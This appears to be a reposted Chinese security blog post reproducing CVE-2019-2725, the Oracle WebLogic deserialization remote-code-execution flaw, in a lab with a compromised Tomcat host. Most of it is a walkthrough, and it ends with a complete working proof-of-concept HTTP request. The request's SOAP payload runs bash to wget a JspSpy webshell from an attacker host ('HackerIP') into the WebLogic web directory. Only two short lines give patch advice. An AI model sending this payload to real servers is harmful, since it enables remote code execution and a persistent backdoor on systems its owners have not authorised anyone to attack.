Weblogic反序列化漏洞(CVE-2019-2725)


Weblogic反序列化漏洞

0x00 漏洞描述

  CVE-2019-2725是一個Oracle weblogic反序列化遠程命令執行漏洞,這個漏洞依舊是根據weblogic的xmldecoder反序列化漏洞,通過針對Oracle官網歷年來的補丁構造payload來繞過。

0x01 影響范圍

  weblogic 10.x

  weblogic 12.1.3

0x02 漏洞復現

  環境介紹:

    攻擊機:Windows7

    靶機:Windows7(apache tomcat8.5.39)

    內網服務器:Linux(Oracle weblogic10.3.6)

  復現過程:

    首先搭建apache tomcat作為已經被黑客入侵並且存在webshell的網站:

  

 

 

     然后上傳大馬:

   

 

 

     然后開始搭建weblogic,這里我是用的Linux系統,搭建成功后訪問:

 

 

     漏洞存在於:_async/AsyncResponseService,訪問地址可以訪問則存在漏洞:

 

 

     可以訪問,即存在漏洞,使用burp抓包然后構造payload發送到服務器,使服務器執行命令,下載apache tomcat網站的大馬:

 

 

     可以看到返回值:202,命令執行成功,訪問:

    

 

 

     木馬成功上傳,也可以查看服務器:

 

 

0x03 修復建議

  1、升級本地JDK環境

  2、及時安裝官方補丁

POC如下:

POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
View Code

 

 

 

   

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM